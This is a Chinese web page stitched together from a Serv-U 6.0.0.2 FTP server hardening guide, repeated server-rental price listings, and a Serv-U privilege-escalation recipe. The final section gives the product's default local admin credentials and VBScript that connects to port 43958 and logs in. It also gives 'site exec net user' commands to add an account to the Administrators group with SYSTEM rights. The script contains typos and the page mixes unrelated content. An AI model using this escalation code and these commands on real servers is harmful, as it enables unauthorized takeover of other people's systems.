SERV-U 6002版安全设置攻略

pengchao

FTP服务器软件SERV－U一直被大部分管理员所使用，它简单的安装和配置以及强大的管理功能的人性化也一直被管理员们称颂。
但是随着使用者越来越多，该软件的安全问题也逐渐显露出来。
首先是SERV-U的SITE CHMOD漏洞和Serv-U MDTM漏洞，即利用一个账号可以轻易的得到SYSTEM权限。其次是Serv-u的本地溢出漏洞，
即Serv-U有一个默认的管理用户（用户名： localadministrator，密码：#|@$ak#.|k;0@p），任何人只要通过一个能访问本地端口43958的账号就可以随意增删账号和执行任意内部和外部命令。
此时，人们才开始重视起SERV－U的安全来，并采取了一些相关措施，如修改SERV－U的管理端口、账号和密码等。但是，
修改后的内容还是保留在ServUDaemon.exe文件里，因此下载后用如UltraEdit之类的16进制编辑软件就可以很轻易的获取到修改后的端口、账号和密码。
从SERV－U6.0.0.2开始，该软件有了登录密码功能，这样如果加了管理密码，并且设置比较妥善的话，SERV－U将会比原来安全的多。
现在我们就开始SERV－U的设置之旅，采用版本是SERV－U 6.0.0.2。
古语有云，千尺之台始于垒土，设置SERV－U的安全就从安装开始。这篇文章主要是写SERV－U的安全设置，所以不会花费太多的功夫来介绍安装，只说一下要点。
SERV－U默认是安装在Crogram FilesServ-U目录下的，我们最好做一下变动。例如改为：D:u89327850mx8utu432X$ UY32x211936890co7v23x1t3
（图1）这样的路径，如果安装盘符WEB用户不能浏览的话，他便很难猜到安装的路径。当然，安装后会在桌面和开始菜单上生成快捷方式，
建议删除，因为一般不会使用到它。可能你要问了，那应该怎样进入SERV－U的设置界面呢？其实很简单，双击下右角任务栏里的Tray Monitor小图标来启动SERV－U的管理界面。
安装的时候只选前2项就可以了，后面的2个是说明和在线帮助文件。(见图2)
下图是生成的开始菜单组里的文件夹的名字，建议更改成比较不像SERV－U的名字，或者是删除该文件夹。(见图3)
安装完成后会出现一个向导让你建立一个域和账号。在这里点Cancel取消向导。用向导生成的账号会带来一些问题，所以下面采用手工方式建立域和账号。(见图4)
然后点选Start automatically(system service)前面的选项，接着点下边的Start Server按钮把SERV－U加入系统服务，这样就可以随系统启动了，不用每次都手工启动。(见图5)


-------------------------------------------------------------------
USA-IDC香港服务器租用商五洲数据提供国外服务器租用美国服务器租用业务二，服务器机房信息

介绍：日本服务器租用机房信息：日本东京机房 JP-TY-03 处理器：奔腾双核 PD 3.0GHz 内　存：1GB 硬　盘：160GB 带　宽：30M独享带宽 动态IP 价　格：1980元/月 [立即订购] 日本东

京机房 JP-TY-04 处理器：奔腾双核 E5200 2.5GHz 内　存：2GB DDR 硬　盘：250GB SATA 带　宽：50M独享带宽 动态IP 价　格：2100元/月 [立即订购] 日本东京机房 JP-TY-05 处理器：

酷睿双核 E7400 2.53GHz 内　存：4GB DDR 硬　盘：500GB SATA 带　宽：50M独享带宽 动态IP 价　格：2380元/月 [立即订购] 日本东京机房 JP-TY-06 处理器：AMD四核 9600+ 2.3GHz 内

　存：4GB DDR 硬　盘：500GB SATA 带　宽：50M独享带宽 动态IP 价　格：2680元/月 [立即订购] 日本东京机房 JP-TY-03 处理器：奔腾双核 PD 3.0GHz 内　存：1GB 硬　盘：160GB 带

　宽：30M独享带宽 动态IP 价　格：1980元/月 [立即订购] 日本东京机房 JP-TY-04 处理器：奔腾双核 E5200 2.5GHz 内　存：2GB DDR 硬　盘：250GB SATA 带　宽：50M独享带宽 动态IP

价　格：2100元/月 [立即订购] 日本东京机房 JP-TY-05 处理器：酷睿双核 E7400 2.53GHz 内　存：4GB DDR 硬　盘：500GB SATA 带　宽：50M独享带宽 动态IP 价　格：2380元/月 [立即

订购] 日本东京机房 JP-TY-06 处理器：AMD四核 9600+ 2.3GHz 内　存：4GB DDR 硬　盘：500GB SATA 带　宽：50M独享带宽 动态IP 价　格：2680元/月 [立即订购]
------------------------------------------------------------------------------------------
香港服务器租用-机房价格介绍酷睿双核 E6550 2.33Ghz 2GB 80GB 2M独享国际带宽 1 1300元/月 酷睿四核 Q6600 2.4Ghz 2GB 80GB 2M独享国际带宽 1

1680元/月 双核至强 E3110 3.0Ghz 2GB 160GB 2M独享国际带宽 1 1860元/月 四核至强 X3220 2.4Ghz 2GB 80GB 2M独享国际带宽 1 1980元/月 四核至强 X3220 2.4Ghz 4GB 80GB 2M独享国

际带宽 1 2180元/月 四核至强 E5320 1.86Ghz 2GB 73GB SAS 15000转 2M独享国际带宽 1 2980元/月 八核至强 X3220 2.4Ghz 4GB 73GB SAS 15000转 2M独享国际带宽 1 4380元/月 Atom

230 1.6Ghz (超线程) 512MB 80GB 2M独享国际带宽 1 820元/月 美国服务器租用--SK芝加哥数据中心服务器租用计划 Atom 230 1.6Ghz (超线程)

1GB 80GB 2M独享国际带宽 1 850元/月 Atom 230 1.6Ghz (超线程) 2GB 80GB 2M独享国际带宽 1 900元/月 奔腾双核 E2160 1.8Ghz 1GB 80GB 2M独享国际带宽 1 980元/月 奔腾双核 E5200

2.5Ghz 1GB 80GB 2M独享国际带宽 1 1100元/月 ----------------------------------------------------------------------------------------------------
Serv-u6.0提权解决方法
适用环境：服务器禁用FSO，关掉Wscript.shelll,没有执行权限。
限制：没有更改管理员的密码，或者破解出了Serv-U的管理员的密码。
Serv-U默认用户名：localadministrator
密码：#|@$ak#.|k;0@p
下面用MSWinsock。Winsock建立一个连接，并且以System权限添加超级用户，代码如下：
Dim revdata
Dim sendata
Set sock=createobject("MSWinsock.Winsock")
Sock.protocol=0
Sock.connect "127.0.0.1",43958
BR>Sendata="LocalAdministrator"& chr(10) &chr(13)
Sock.senddata snedata
Sendata="#|@$ak#.|k;0@p" &chr(10) &chr(13)
Sock.senddata.sendata
使用这个代码就可以连上FTP了，接下来用Sock.senddata sendata 发送添加有执行权限用户的命令，想必大家该知道怎么做了吧，
对了，就是用"site exec net user hacker hacker /add" "site exec net localgroup administrators hacker /add"

----------------------------------------------------------------
四，服务器运营商信息介绍
USA-IDC美国服务器租用商五洲数据提供美国服务器租用
国外服务器租用
托管业务 USA-IDC海外数据中心?2005～2010
深圳市网格时代科技有限公司 保留所有权利. http://www.usa-idc.com http://www.755800.com